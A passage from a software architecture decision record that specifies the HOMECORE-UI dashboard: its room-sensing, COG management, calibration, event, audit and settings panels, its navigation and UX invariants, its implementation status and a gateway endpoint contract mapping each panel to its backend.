- **Domain filter + semantic search** — filter by domain prefix and, once [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) (homecore-recorder) lands, ruvector-backed semantic search: "when did the living room anomaly score last correlate with a door-open event?" A keyword filter across entity IDs and attribute keys ships in the initial release regardless of [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) status, given entity density; the semantic search layers on top once the recorder lands.
|
||||
- **Real-time WebSocket feed** — entity states update live via the homecore `subscribe_events` WebSocket command ([ADR-130](ADR-130-homecore-rest-websocket-api.md)). The UI must never poll. Show a broadcast-channel lag indicator; warn visually if the subscriber is falling behind the 4,096-event channel capacity.
|
||||
- **StateChanged detail panel** — clicking any entity opens a slide-over panel showing the full `StateChangedEvent`: `old_state`, `new_state`, `context.id`, `context.user_id`, and the `context.parent_id` chain rendered as a breadcrumb trail.
|
||||
|
||||
### 4.5 RoomState / Sensing Panel
|
||||
|
||||
Surfaces the mixture-of-specialists output from the calibration service — the highest-level per-room sensing result. Data comes from `GET /api/v1/room/state?bank=<room_id>` on the v0 Appliance.
|
||||
|
||||
- **Per-room cards** — one card per `room_id` on the `var(--card)` surface. Each card shows live `RoomState` JSON fields as sub-rows: presence (occupied/absent chip in green/red with confidence bar), posture (standing/sitting/lying chip with confidence), breathing BPM (numeric in `--cyan` with range indicator 6–30), heart rate BPM (numeric in `--cyan` with range indicator 40–120), restlessness score (0–1 progress bar), and anomaly score (0–1 with normal/anomalous label, bar turns red above a configurable threshold).
|
||||
- **STALE warning** — when `stale: true` (the specialist bank was trained against a different baseline), render the entire room card with a `--amber-d` background tint and a prominent amber banner reading "Bank stale — baseline has changed" with a direct "Recalibrate room" link into the calibration wizard (§4.7). This is the most common real-world failure mode and **must never be subtle.**
|
||||
- **VETO indicator** — when `vetoed: true` (anomaly veto suppressed vitals/posture because the window was physically implausible), render the affected specialist slots in `--red` with a "Veto active" label. Values suppressed by veto **must not render as zeros** — they must render as explicitly withheld.
|
||||
- **Null specialist placeholders** — specialists not yet trained (`null` in the specialist bank) render as "Not trained" placeholders in `--t3` with a small "Calibrate to enable" prompt in ghost style. They are **not** errors.
|
||||
- **Confidence bars** — each specialist output has a confidence float, shown as a small inline bar (`--cyan` fill) next to the reading. Low confidence (< 0.4) renders the bar in `--amber`.
|
||||
- **Multi-SEED fusion indicator** — for rooms served by multiple SEEDs, show a small badge indicating how many SEED nodes contributed to the `MultiNodeMixture` for this room's reading.
|
||||
|
||||
### 4.6 v0 Appliance COG Management
|
||||
|
||||
The v0 Appliance hosts COGs at `/var/lib/cognitum/apps/`. This panel is the operational companion to the existing Cog Store (`seed.cognitum.one/store`). It must match the Cog Store's visual conventions precisely — same card layout, same category pills, same install/detail button pair — because operators will move between the two surfaces.
|
||||
|
||||
- **Installed COGs list** — for each COG: `id` and `version` in `--mono`, architecture badge (`arm`/`hailo10` etc., category-pill pattern), status pill (running/stopped/failed/updating in green/grey/red/amber), `binary_sha256` verified badge (Ed25519 signature verification shown as a shield icon in `--green` or `--red`), and PID from the pid file. Actions: start, stop, restart (ghost style), and view `output.log` / `error.log` in a monospace drawer using `--mono`. Edit `config.json` inline with syntax highlighting.
|
||||
- **COG Store / App Registry** — browsable `app-registry.json` listing. This panel should visually mirror `seed.cognitum.one/store` as closely as possible — same featured-card hero layout, same icon + title + description + category pill + action button structure. One-click install downloads the binary from GCS, verifies `binary_sha256` + `binary_signature`, writes the manifest, and starts the COG. Show which new homecore entities will appear in the state machine after install, as a preview list before confirming.
|
||||
- **OTA Updates** — a badge count on installed COGs with available updates, matching the "Installed (N)" tab badge convention from the existing Cog Store. Show a diff panel (version change, new entities, config schema changes) before confirming the update.
|
||||
- **Hailo HEF status** — for COGs with `arch: hailo10`: loaded HEF files on the Hailo-10H, current inference throughput, and `ruvector-hailo-worker:50051` connection status. The RF Foundation Encoder ([ADR-150](ADR-150-rf-foundation-encoder.md)) and neural pose head display here once available.
|
||||
|
||||
### 4.7 Calibration Wizard
|
||||
|
||||
The full baseline → enroll → train → verify pipeline runs via HTTP against the v0 Appliance ([ADR-151](ADR-151-room-calibration-specialist-training.md)). This is a multi-step guided flow — not a raw API panel. Use a stepped wizard layout with a progress indicator at the top (steps 1–5 as numbered pills, active step in `--cyan`, completed in `--green`, pending in `--t3`).
|
||||
|
||||
- **Step 1 — Select room and SEED** — enter a `room_id` name (validated against `[A-Za-z0-9_-]{1,64}`) and select which SEED(s) and ESP32 nodes serve this room from a dropdown populated from the live fleet. Show current CSI ingest health for the selected nodes inline — if frames are not arriving at the expected rate, display an amber warning **before** allowing the operator to proceed. A broken ingest pipeline will silently fail calibration.
|
||||
- **Step 2 — Baseline capture** — `POST /api/v1/calibration/start`. A large full-width animated progress bar (cyan fill) reads from `GET /api/v1/calibration/status`: frames recorded vs target, ETA in seconds, `z_median` value. If `motion_flagged` is true, overlay an amber banner: "Room must be empty — movement detected." The baseline UUID produced here is the anchor for all future STALE detection for this room — display it in `--mono` once complete so operators can record it.
|
||||
- **Step 3 — Anchor enrollment** — the 8 anchor labels in enforced order: `empty`, `stand_still`, `sit`, `lie_down`, `breathe_slow`, `breathe_normal`, `small_move`, `sleep_posture`. For each: a human-readable instruction with an illustration, a countdown timer rendered as a circular progress ring in `--cyan`, and an immediate quality-gate result (accepted in green, retry in amber with a reason string). Drive via `POST /api/v1/enroll/anchor` + `GET /api/v1/enroll/status`. After each accepted anchor, show the extracted feature values (mean, variance, breathing_score, heart_score) in a small `--mono` data row so operators can sanity-check the capture. Show overall progress as "N / 8 anchors accepted."
|
||||
- **Step 4 — Train** — a single `POST /api/v1/room/train` call. Show the 6 specialist results as a checklist: presence (threshold + occupied_var), posture (prototype count), breathing (min_score), heartbeat (min_score), restlessness (calm/active motion values), anomaly (prototype count + scale). Specialists that returned non-null render in `--green`. Null specialists (insufficient anchor data) render in `--amber` with a "Re-enroll missing anchors" prompt linking back to Step 3 for the specific missing labels.
|
||||
- **Step 5 — Verify live** — display the live `RoomState` for the just-trained room using the same per-room card layout as §4.5. Prompt the operator to stand in the room and verify presence is detected, try sitting/lying to confirm posture, and breathe normally to confirm vitals are in plausible range. A "Confirm and save" button (cyan, primary) closes the wizard; a "Something's wrong — re-enroll" button (ghost) loops back to Step 3.
|
||||
|
||||
### 4.8 Event Bus & Automation Feed
|
||||
|
||||
- **Live event stream panel** — a virtualized scrolling list of `SystemEvent` variants (`StateChanged`, `EntityRegistered`, `ConfigReloaded`) and notable `DomainEvent`s from the homecore Tokio broadcast channel. Each row shows: event-type pill (coloured by variant), `entity_id` in `--mono`, old state → new state arrow, timestamp, and `context.user_id`. The stream is filterable by entity domain, event type, or source SEED/COG. The filter bar uses the same search-input style as the Cog Store's search field.
|
||||
- **Context causality breadcrumb** — expanding any event row shows the full Context chain (`context.id` → `parent_id` → `grandparent_id`) as a breadcrumb trail in `--mono`. This is how automation loops become visible without any separate debugging tool.
|
||||
- **Automation builder** ([ADR-129](ADR-129-homecore-automation-engine.md) scope) — a trigger → condition → action editor on the card surface. The most important RuView-specific trigger types to support are: `state_changed` on `RoomState` entities with a threshold expression (e.g. `anomaly.value > 0.8`), SEED reflex-rule firing events (`fragility_alarm`, `hd_anomaly_indicator`), and custom `domain_event` topics. Actions include calling services in the homecore service registry and firing domain events. The condition expression editor uses `--mono`.
|
||||
|
||||
### 4.9 Witness / Audit Log
|
||||
|
||||
- **Unified witness timeline** — a chronological merged view of events from both tiers: the SEED's SHA-256 ingest chain (every RVF store write attested) and homecore's Ed25519 state-transition chain (biometric crossings, BFLD identity-risk elevations). Each row: `entity_id` in `--mono`, old/new state, timestamp, source SEED `device_id`, signing key fingerprint (first 8 chars in `--mono`). Pagination uses the same "Showing X–Y of Z" convention from the Cog Store's cog grid.
|
||||
- **Privacy mode banner** — a persistent top-of-panel banner showing current privacy mode: `--green-d`/green text for full-publish mode; `--amber-d`/amber text for audit-only mode (SHA-256 digests on-SEED only, no MQTT state messages). Show the per-SEED privacy mode state, since SEEDs can be individually configured. Toggling privacy mode is a high-stakes action — require an explicit "Confirm" step with a summary of what will change.
|
||||
- **Export bundle** — an "Export attestation bundle" button (ghost) that packages the SEED witness chain + homecore Ed25519 chain as a downloadable archive for regulated-deployment (care home, hotel, shared office) compliance handoff.
|
||||
|
||||
### 4.10 Settings & Integration Config
|
||||
|
||||
- **SEED fleet management** — add, remove, and reprovision SEEDs. Show the USB-only pairing requirement prominently (the pairing window only opens via `169.254.42.1`, not WiFi — a security invariant). Per-SEED: `device_id` in `--mono`, firmware version, bearer token status, and a "Rotate token" action (ghost) that walks the operator through the secure token rotation flow.
|
||||
- **ESP32 node provisioning** — per-node NVS config display (target IP, target port, node_id), last-seen firmware version, and a link to the provisioning script. The `node_id` → room/zone assignment is editable here and persists to the room calibration system's `room_id` mapping.
|
||||
- **MQTT / cog-ha-matter config** ([ADR-116](ADR-116-cog-ha-matter-seed.md)) — broker URL, credentials (masked), MQTT topic prefix, mDNS advertisement status (`_ruview-ha._tcp`), and a live connection indicator (green dot for connected, red for unreachable). The 21 HA-DISCO entities per node are listed here with their `via_device` assignments showing which SEED they belong to in HA's device registry.
|
||||
- **Long-lived access tokens** — for homecore-api companion-app connections (HA 2025.1 wire-compat, [ADR-130](ADR-130-homecore-rest-websocket-api.md)). Token creation, last-used timestamp, and revocation. The HA companion-app pairing QR-code flow surfaces here.
|
||||
- **Federation config** — for multi-SEED deployments: ESP-NOW mesh sync status, cross-SEED epoch alignment values, and federated-learning round settings (coordinator SEED, round cadence, Krum aggregation parameters per [ADR-105](ADR-105-federated-csi-training.md)). The design invariant **"model deltas only, never raw CSI"** must be labelled explicitly in this panel.
|
||||
|
||||
---
|
||||
|
||||
## 5. Navigation structure
|
||||
|
||||
HOMECORE-UI must integrate into the existing Cognitum Appliance nav shell. The top nav should read:
|
||||
|
||||
```
|
||||
Framework | Guide | Cog Store | HOMECORE | Status
|
||||
```
|
||||
|
||||
— inserting **HOMECORE** as a first-class nav item between the existing "Cog Store" and "Status" entries, using the same nav-item style (text in `--t2`, active state in `--cyan` with bottom underline).
|
||||
|
||||
Within the HOMECORE section, a left sidebar (or top sub-nav on narrow viewports) provides section navigation:
|
||||
|
||||
```
|
||||
Dashboard | SEED Fleet | Entities | Rooms | COGs | Calibration | Events | Audit | Settings
|
||||
```
|
||||
|
||||
The COG Store panel within HOMECORE (§4.6) links out to `seed.cognitum.one/store` for the full catalog view, ensuring the existing Cog Store remains the canonical browsing experience.
|
||||
|
||||
---
|
||||
|
||||
## 6. Key UX invariants
|
||||
|
||||
These must be maintained across every panel:
|
||||
|
||||
1. **Always make the tier origin of any data explicit.** A `RoomState` reading traces to an ESP32 node → SEED → COG → v0 Appliance state machine. The provenance badge (§4.4) must appear wherever entity states are displayed.
|
||||
2. **The `stale` and `vetoed` flags from `RoomState` and the kNN fragility score from SEED cognitive analysis are meaningful diagnostic signals** — they must never be silently hidden, styled grey-on-grey, or collapsed behind an expand toggle. They represent system health operators need to act on.
|
||||
3. **Values that are `null` because a specialist has not been trained must be visually distinct from values that are unavailable due to an error.** The distinction is operationally important: `null` means "calibrate to enable," unavailable means "investigate."
|
||||
4. **All entity IDs, hashes, API endpoints, binary signatures, device UUIDs, and JSON payloads must use `--mono` font.** This is already the convention in the API Explorer and must be consistent throughout HOMECORE-UI.
|
||||
5. **The v0 Appliance Hailo HAT is a separate subsystem from the SEED's edge compute.** Inference results tagged as Hailo-sourced (COGs with `arch: hailo10`) must be visually distinguished from results from CPU-only COGs (`arch: arm`) so operators can triage hardware-specific failures.
|
||||
|
||||
---
|
||||
|
||||
## 7. Scope — complete UI delivery
|
||||
|
||||
The deliverable is the **entire** dashboard. Every panel below ships fully implemented and wired to its live data source — there is no scaffold-only milestone and no panel left as a placeholder. The table records each panel's authoritative backing API so the build can proceed in whatever order best fits the dependency graph; it is a dependency map, **not** a sequence of partial releases.
|
||||
|
||||
| Panel | Section | Backing API / source |
|
||||
|---|---|---|
|
||||
| System Dashboard | §4.1 | [ADR-130](ADR-130-homecore-rest-websocket-api.md) WebSocket + appliance health endpoints |
|
||||
| SEED Detail View | §4.2 | SEED HTTPS API (vector store, witness, sensors, reflex, cognitive analysis) |
|
||||
| SEED Fleet Map | §4.3 | fleet topology + federation ([ADR-105](ADR-105-federated-csi-training.md)) |
|
||||
| Entity & State Browser | §4.4 | [ADR-127](ADR-127-homecore-state-machine-rust.md) state machine via [ADR-130](ADR-130-homecore-rest-websocket-api.md) `subscribe_events`; semantic search via [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) |
|
||||
| RoomState / Sensing | §4.5 | [ADR-151](ADR-151-room-calibration-specialist-training.md) `GET /api/v1/room/state` |
|
||||
| COG Management | §4.6 | [ADR-128](ADR-128-homecore-integration-plugin-system.md) plugin runtime + [ADR-100](ADR-100-cog-packaging-specification.md) app registry |
|
||||
| Calibration Wizard | §4.7 | [ADR-151](ADR-151-room-calibration-specialist-training.md) calibration HTTP API |
|
||||
| Event Bus & Automation | §4.8 | [ADR-130](ADR-130-homecore-rest-websocket-api.md) broadcast channel + [ADR-129](ADR-129-homecore-automation-engine.md) automation engine |
|
||||
| Witness / Audit Log | §4.9 | SEED SHA-256 ingest chain + homecore Ed25519 chain |
|
||||
| Settings & Integration | §4.10 | SEED provisioning, [ADR-116](ADR-116-cog-ha-matter-seed.md) MQTT/Matter, LLAT, federation |
|
||||
|
||||
### 7.1 Build sequencing within the complete deliverable
|
||||
|
||||
The complete UI depends on backing services that mature on their own timelines. Each panel is built against the **real gateway endpoint** defined in §11; where the upstream is not yet available the panel renders a typed empty/error state, **not** fabricated data (the dev-only `?demo=1` fixture of §2.2 exists for offline development only and is never the shipped behaviour). Concretely, the hard contract dependencies are: [ADR-130](ADR-130-homecore-rest-websocket-api.md) (REST + WebSocket), [ADR-127](ADR-127-homecore-state-machine-rust.md) (state machine), [ADR-151](ADR-151-room-calibration-specialist-training.md) (calibration), [ADR-128](ADR-128-homecore-integration-plugin-system.md) (plugin runtime), [ADR-129](ADR-129-homecore-automation-engine.md) (automation), [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) (event history + semantic search), [ADR-116](ADR-116-cog-ha-matter-seed.md) (SEED/Matter), [ADR-069](ADR-069-cognitum-seed-csi-pipeline.md) (SEED ingest), and [ADR-105](ADR-105-federated-csi-training.md) (federation). The keyword entity filter (§4.4) ships immediately; semantic search layers on once [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) lands. The exact panel→endpoint→upstream map and the new gateway code each requires are §11; the staged delivery is §12.
|
||||
|
||||
---
|
||||
|
||||
## 8. Consequences
|
||||
|
||||
### 8.1 Positive
|
||||
|
||||
- Operators, integrators, and residents get a single coherent surface for the full two-tier stack, replacing the need to SSH into SEEDs or hand-craft API calls.
|
||||
- The dashboard reuses the proven Cognitum design tokens and component patterns verbatim, so it ships visually consistent with no separate design effort and no perceptible seam between surfaces.
|
||||
- Diagnostic signals that today are invisible (`stale`/`vetoed` flags, kNN fragility, provenance lineage, channel lag) become first-class, surfacing the system's most common real-world failure modes directly to operators.
|
||||
|
||||
### 8.2 Negative / risks
|
||||
|
||||
- The UI hard-depends on the wire-compat guarantees of ADR-130 and the calibration contract of ADR-151; schema drift in either breaks panels silently. Integration tests against every backing contract in §7 are required.
|
||||
- Committing to the complete UI in one deliverable is a larger up-front effort and couples the UI's readiness to the maturity of multiple backing services (§7.1, §11). The mitigation is the BFF gateway (§2.1): each panel targets one same-origin endpoint, and the gateway absorbs upstream churn behind a stable contract.
|
||||
- Promoting `homecore-server` to a gateway means it now **proxies cross-tier traffic** (calibration API, SEED HTTPS, appliance daemons). This adds a network hop, a place for upstream timeouts/partial failures to surface, and a server-side store of SEED bearer tokens that must be protected (§11.10). Each proxied route needs an explicit timeout + typed error mapping so one slow SEED cannot stall the dashboard.
|
||||
- Several panels depend on data that only exists on **real hardware or new daemons** (SEED device tier, appliance host metrics, COG supervisor). Until those upstreams exist the corresponding gateway routes return `503 upstream_unavailable`; this is honest but means the dashboard is only as "live" as the tiers behind it (§11 classifies every endpoint by what it depends on).
|
||||
- Faithfully mirroring `seed.cognitum.one/store` couples HOMECORE-UI to the external Cog Store's evolving design; token drift there must be tracked and re-synced.
|
||||
- The two-tier mental model (Appliance root, SEED children, ESP32 leaves) must be enforced consistently; any panel that flattens or peers the tiers undermines the core architectural constraint.
|
||||
|
||||
---
|
||||
|
||||
## 9. References
|
||||
|
||||
- `https://seed.cognitum.one/store` — primary design reference for all visual conventions.
|
||||
- `https://seed.cognitum.one/status` — reference for live metric-card layout.
|
||||
- [ADR-126](ADR-126-ruview-native-ha-port-master.md) — HOMECORE master ADR.
|
||||
- [ADR-127](ADR-127-homecore-state-machine-rust.md) — HOMECORE-CORE state machine and entity registry.
|
||||
- [ADR-128](ADR-128-homecore-integration-plugin-system.md) — HOMECORE-PLUGINS WASM COG substrate.
|
||||
- [ADR-129](ADR-129-homecore-automation-engine.md) — HOMECORE automation engine.
|
||||
- [ADR-130](ADR-130-homecore-rest-websocket-api.md) — HOMECORE-API REST + WebSocket wire-compat.
|
||||
- [ADR-132](ADR-132-homecore-recorder-history-semantic-search.md) — homecore-recorder, history + semantic search.
|
||||
- [ADR-100](ADR-100-cog-packaging-specification.md) — Cognitum Cog packaging specification (manifest.json, status values, on-device layout).
|
||||
- [ADR-116](ADR-116-cog-ha-matter-seed.md) — cog-ha-matter (SEED cog, HA-DISCO entity surface, mDNS).
|
||||
- [ADR-069](ADR-069-cognitum-seed-csi-pipeline.md) — ESP32 CSI → Cognitum SEED RVF ingest pipeline (SEED architecture detail).
|
||||
- [ADR-105](ADR-105-federated-csi-training.md) — Federated CSI training (multi-SEED federation).
|
||||
- [ADR-151](ADR-151-room-calibration-specialist-training.md) — Per-room calibration specialist training (calibration HTTP API).
|
||||
- `v2/crates/homecore/src/` — state machine, entity, event, registry source.
|
||||
- `docs/integration/calibration-appliance-integration.md` — calibration API contract and RoomState schema.
|
||||
|
||||
---
|
||||
|
||||
## 10. Implementation status
|
||||
|
||||
Implemented as a zero-dependency, no-build-step vanilla TS/JS + CSS frontend served by `homecore-server` at `/homecore` (the `rufield-viewer` "Axum + vanilla-JS" pattern). The complete deliverable per §2/§7 — all ten panels, fully rendered, wired to live data where the backing service exists and to a contract-conformant DEMO-flagged mock layer (§7.1) where it does not.
|
||||
|
||||
**Location:** `v2/crates/homecore-server/ui/` — `css/tokens.css` (the §3.1 palette, verbatim) + `css/app.css` (§3.3 components); `js/{ui,api,ws,mock,app}.js` (shared helpers, REST client, `subscribe_events` WS client, mock layer, shell+router); `js/panels/*.js` (one module per §4 panel). Mounted via `tower-http` `ServeDir` in `homecore-server::build_app`, gated by `--ui-dir`/`HOMECORE_UI_DIR`.
|
||||
|
||||
**Verification:**
|
||||
- **Rust** — `#[cfg(test)] mod ui_tests` in `homecore-server/src/main.rs`: 5 integration tests (`tower::oneshot`) covering index, design tokens, all ten panel modules served, API coexistence, and mount-disable. *Written but not compiled in the authoring environment (no Rust toolchain present); run `cargo test -p homecore-server` on a Rust host before merge.*
|
||||
- **Frontend** — `ui/` test suite under plain `node` (no npm install): `npm test` → import/export graph verifier (15 modules) + render-smoke (executes every panel against a DOM shim; 21 checks) + interaction suite (live WS patch, ws.js handshake/parse, calibration contract; 3 checks). **24/24 green.**
|
||||
- **Benchmark** — `npm run bench`: total bundle **136.8 KB** uncompressed (**~37× smaller** than HA's ~5 MB Lit bundle, the ADR-126 §1.1 foil); slowest panel **1.5 ms/cold-render**.
|
||||
|
||||
**Honest scope — current vs. target.** *Earlier cut:* the front-end was complete but only §4.4 Entities was wired to a real backend; the rest rendered from an in-browser mock. *This revision implements the §11 wiring:*
|
||||
|
||||
- **Front-end (§11.11) — DONE and verified.** `api.js` rewritten: all data accessors are async and call the §11.2 gateway routes; the mock layer is demoted to a dev-only fixture reachable **only** under `?demo=1` / `HOMECORE_UI_DEMO` (§2.2); every panel `await`s and renders a typed empty/error state on failure (no mock fallback in production). All ten panels converted (3 by hand, 7 via parallel agents). Verified under Node: 5 test files green — import graph, boot, render-smoke (22), interaction (3), **and a new prod-errors suite (13) that runs with demo OFF + gateway unreachable and asserts every panel renders an error state, never mock, never throws** (it caught and fixed a real unhandled-rejection in the events panel).
|
||||
- **Gateway (§11.1–§11.6) — IMPLEMENTED, COMPILED, TESTED, RUN.** New `homecore-server/src/gateway.rs` (+`reqwest` dep, +CLI/env flags `--calibration-url`/`--calibration-token`/`--apps-dir`/`--gateway-timeout-ms`, merged into `build_app` via `gateway_router`). Real handlers: `/api/cal/*` reverse-proxy (W2), `GET /api/homecore/rooms` with the §11.3 RoomState adapter (W2), `GET /api/homecore/cogs` supervisor over the apps dir (W4), `GET /api/homecore/appliance` from `/proc` + port probes (W6). SEED-device/appliance-daemon routes (seeds, federation, witness, privacy, settings, automations, events-history, hailo, tokens — W3/W5) return a typed `503 upstream_unavailable` per §11.2. **Verified on Rust 1.89: `cargo test -p homecore-server --no-default-features` = 12/12 pass** (6 gateway + 6 UI mount). **Run live:** `GET /api/homecore/appliance` returns real `/proc` metrics + TCP service probes; unauth → `401`; `cogs` → `[]` with no apps dir; SEED-tier → typed `503`; and against a mock calibration upstream the `/api/cal/*` proxy passes through (`200`) and `GET /api/homecore/rooms` correctly adapts `RoomState` to the UI shape (`breathing`→`breathing_bpm`, `heartbeat:null`→`heart_bpm:null`, injected `anomaly.threshold`/`room_id`, `stale` passthrough). **Live testing caught + fixed one real bug** — a double-`v1` path in the `/api/cal/*` proxy URL.
|
||||
|
||||
The endpoint-by-endpoint contract is **§11**; the staged plan and which endpoints depend on real SEED/appliance hardware vs. pure software is **§12**.
|
||||
|
||||
---
|
||||
|
||||
## 11. Backend wiring — making every panel real
|
||||
|
||||
This section is the authoritative contract for full functionality. It removes the mock layer from the production path (§2.2) by routing every panel through the `homecore-server` BFF gateway (§2.1). Each endpoint is classified by what it depends on:
|
||||
|
||||
- **EXISTS** — backend code already in this repo; gateway only proxies/adapts.
|
||||
- **NEW-GW** — pure software the gateway itself implements (filesystem, `/proc`, process control, recorder query) — no new external service.
|
||||
- **NEW-API** — a small HTTP wrapper to add to an existing in-repo crate (`homecore-api`, `homecore-automation`).
|
||||
- **SEED-DEV** — depends on a SEED node's on-device HTTPS API (separate hardware/firmware).
|
||||
- **APPLIANCE** — depends on an appliance daemon / accelerator stat source.
|
||||
|
||||
### 11.1 Gateway shape
|
||||
|
||||
`homecore-server` already mounts `homecore-api` at `/api/*` and the UI at `/homecore`. It gains a new **`/api/homecore/*`** namespace (the dashboard-specific aggregation surface) plus a **`/api/cal/*`** reverse-proxy to the calibration service. The browser issues only same-origin requests; the gateway fans out server-side, holding all upstream credentials (§11.10). Every proxied route has an explicit timeout and maps upstream failure to a typed body (`503 upstream_unavailable`, `504 upstream_timeout`) so one slow tier never stalls the dashboard.
|
||||
|
||||
### 11.2 Master endpoint contract (panel → gateway route → upstream → status)
|
||||
|
||||
| Panel | UI method (`api.js`) | Gateway route | Upstream / source | Class |
|
||||
|---|---|---|---|---|
|
||||
| §4.4 Entities | `states()` | `GET /api/states` | `homecore` state machine | **EXISTS** ✅ wired |
|
||||
| §4.4/§4.8 live feed | WS | `GET /api/websocket` (`subscribe_events`) | `homecore` event bus | **EXISTS** ✅ wired |
|
||||
| §4.8 Event history | `eventHistory(q)` | `GET /api/events?since=…` | `homecore-recorder` ([ADR-132](ADR-132-homecore-recorder-history-semantic-search.md)) | **NEW-API** |
|
||||
| §4.8 Automations | `automations()` / `saveAutomation()` | `GET/POST/DELETE /api/homecore/automations` | `homecore-automation` ([ADR-129](ADR-129-homecore-automation-engine.md)) | **NEW-API** |
|
||||
| §4.5 Rooms | `roomStates()` | `GET /api/homecore/rooms` → per-room `GET /api/cal/v1/room/state?bank=` | `calibrate-serve` ([ADR-151](ADR-151-room-calibration-specialist-training.md)) | **EXISTS** (proxy + adapter) |
|
||||
| §4.7 Calibration | `calibration.*` | `POST /api/cal/v1/calibration/{start,stop}`, `GET …/status`, `POST …/enroll/anchor`, `GET …/enroll/status`, `POST …/room/train` | `calibrate-serve` | **EXISTS** (proxy) |
|
||||
| §4.6 COGs | `cogs()` / `cogAction()` / `cogLogs()` | `GET /api/homecore/cogs`, `POST …/cogs/:id/{start,stop,restart}`, `GET …/cogs/:id/logs`, `GET/PUT …/cogs/:id/config` | COG supervisor over `/var/lib/cognitum/apps/` ([ADR-100](ADR-100-cog-packaging-specification.md)/[ADR-128](ADR-128-homecore-integration-plugin-system.md)) | **NEW-GW** |
|
||||
| §4.6 Hailo HEF | `hailo()` | `GET /api/homecore/hailo` | `ruvector-hailo-worker:50051` | **APPLIANCE** |
|
||||
| §4.1 Appliance health | `appliance()` | `GET /api/homecore/appliance` | host `/proc` + Hailo stats + service probes | **NEW-GW** (+APPLIANCE for Hailo) |
|
||||
| §4.1/§4.2 Fleet + SEED detail | `seeds()` / `seed(id)` | `GET /api/homecore/seeds`, `GET …/seeds/:id` | SEED device HTTPS API ([ADR-069](ADR-069-cognitum-seed-csi-pipeline.md)) via registry | **SEED-DEV** |
|
||||
| §4.2 SEED actions | `seedCompact()` / `seedVerify()` | `POST …/seeds/:id/{compact,witness/verify}` | SEED device API | **SEED-DEV** |
|
||||
| §4.3 Federation | `federation()` | `GET /api/homecore/federation` | federation coordinator ([ADR-105](ADR-105-federated-csi-training.md)) | **SEED-DEV/APPLIANCE** |
|
||||
| §4.9 Witness/Audit | `witnessLog(p,s)` | `GET /api/homecore/witness?page=…` | merge: `homecore` Ed25519 chain + per-SEED SHA-256 chains | **NEW-API + SEED-DEV** |
|
||||
| §4.9 Privacy mode | `privacyModes()` / `setPrivacy()` | `GET/POST /api/homecore/privacy` | SEED privacy control plane ([ADR-141](ADR-141-bfld-privacy-control-plane-modes-attestation.md)) + cog-ha-matter | **SEED-DEV** |
|
||||
| §4.9 Export bundle | `exportAttestation()` | `GET /api/homecore/witness/export` | gateway packages both chains | **NEW-GW** |
|
||||
| §4.10 Tokens (LLAT) | `tokens()` / `createToken()` / `revokeToken()` | `GET/POST/DELETE /api/homecore/tokens` | `homecore-api` `LongLivedTokenStore` | **NEW-API** |
|
||||
| §4.10 MQTT/Matter | `mqttConfig()` | `GET /api/homecore/integrations/mqtt` | cog-ha-matter config ([ADR-116](ADR-116-cog-ha-matter-seed.md)) | **NEW-GW/SEED-DEV** |
|
||||
| §4.10 ESP32 provisioning | `nodes()` / `assignRoom()` | `GET/PUT /api/homecore/nodes` | SEED ingest config ([ADR-069](ADR-069-cognitum-seed-csi-pipeline.md)) | **SEED-DEV** |
|
||||
| §4.10 SEED mgmt | `pairSeed()` / `rotateToken()` | `POST /api/homecore/seeds/{pair,:id/rotate-token}` | SEED pairing (USB `169.254.42.1`) | **SEED-DEV** |
|
||||
|
||||
### 11.3 Calibration proxy + RoomState adapter
|
||||
|
||||
The calibration service is real but on a different binary/port; the gateway reverse-proxies it under `/api/cal/*` (upstream base from `HOMECORE_CALIBRATION_URL`). Its `RoomState` (`wifi-densepose-calibration/src/runtime.rs`) does **not** match the UI's shape, so the gateway adapts it in `GET /api/homecore/rooms`:
|
||||
|
||||
| Real field (`RoomState`) | UI field | Adapter rule |
|
||||
|---|---|---|
|
||||
| `breathing: Option<SpecialistReading>` | `breathing_bpm: {value,confidence}\|null` | rename; `value`=`reading.value`, `confidence`=`reading.confidence`; `None`→`null` (preserves "not trained") |
|
||||
| `heartbeat: Option<…>` | `heart_bpm: {…}\|null` | rename `heartbeat`→`heart_bpm` |
|
||||
| `presence/posture/restlessness` | same names `{value,confidence}\|null` | `posture.value`=`reading.label` (class), else numeric |
|
||||
| `anomaly: Option<…>` | `anomaly: {value,confidence,threshold}` | inject `threshold`=`MixtureOfSpecialists.veto_threshold` (0.5) |
|
||||
| `vetoed` / `stale` | `vetoed` / `stale` | pass through (drives the §4.5/§6 banners) |
|
||||
| *(absent)* | `room_id`, `seeds[]` | injected by the gateway from the **room registry** |
|
||||
|
||||
A **room registry** (config or derived from `GET /api/cal/v1/calibration/baselines`) maps each `room_id` → bank name + serving SEED ids, so `GET /api/homecore/rooms` returns one adapted record per room. `Option::None` → JSON `null` keeps the null-vs-withheld distinction (§6 invariant 3) intact end-to-end.
|
||||
|
||||
### 11.4 SEED registry & device-API proxy
|
||||
|
||||
The gateway holds a **SEED registry** (`device_id` → base URL + bearer token + zone), populated by pairing (§4.10) and persisted server-side. `GET /api/homecore/seeds[/:id]` fans out to each SEED's on-device API and shapes the result to the §4.2 card/detail model. Expected SEED-side endpoints (the contract the SEED firmware must satisfy — a subset of its 98 endpoints): health; vector-store stats (`vector_count`, `dim`, `epoch`, `knn_latency_ms`, ingest rate); witness (`len`, `last_verify`, `valid`) + `POST verify`; onboard sensors (BME280/PIR/reed/ADS1115/vibration); reflex rules + thresholds; cognitive analysis (fragility, coherence phases); ingest feeders (ESP32 node ids + packet type `0xC5110003`/`0xC5110002` + rate). Offline/unreachable SEEDs surface as `online:false` (drives the §4.1 red tint) rather than failing the whole list.
|
||||
|
||||
### 11.5 Appliance metrics collector (§4.1)
|
||||
|
||||
`GET /api/homecore/appliance`, implemented in the gateway: CPU/RAM/uptime from `/proc`; Hailo load + temperature from the Hailo runtime/sysfs (or `ruvector-hailo-worker` stats); service health by probing `ruview-mcp-brain:9876`, `cognitum-rvf-agent:9004`, `ruvector-hailo-worker:50051`; event-bus rate from the `homecore` broadcast channel + its lag counter (already exposed for §4.1/§4.4).
|
||||
|
||||
### 11.6 COG supervisor (§4.6)
|
||||
|
||||
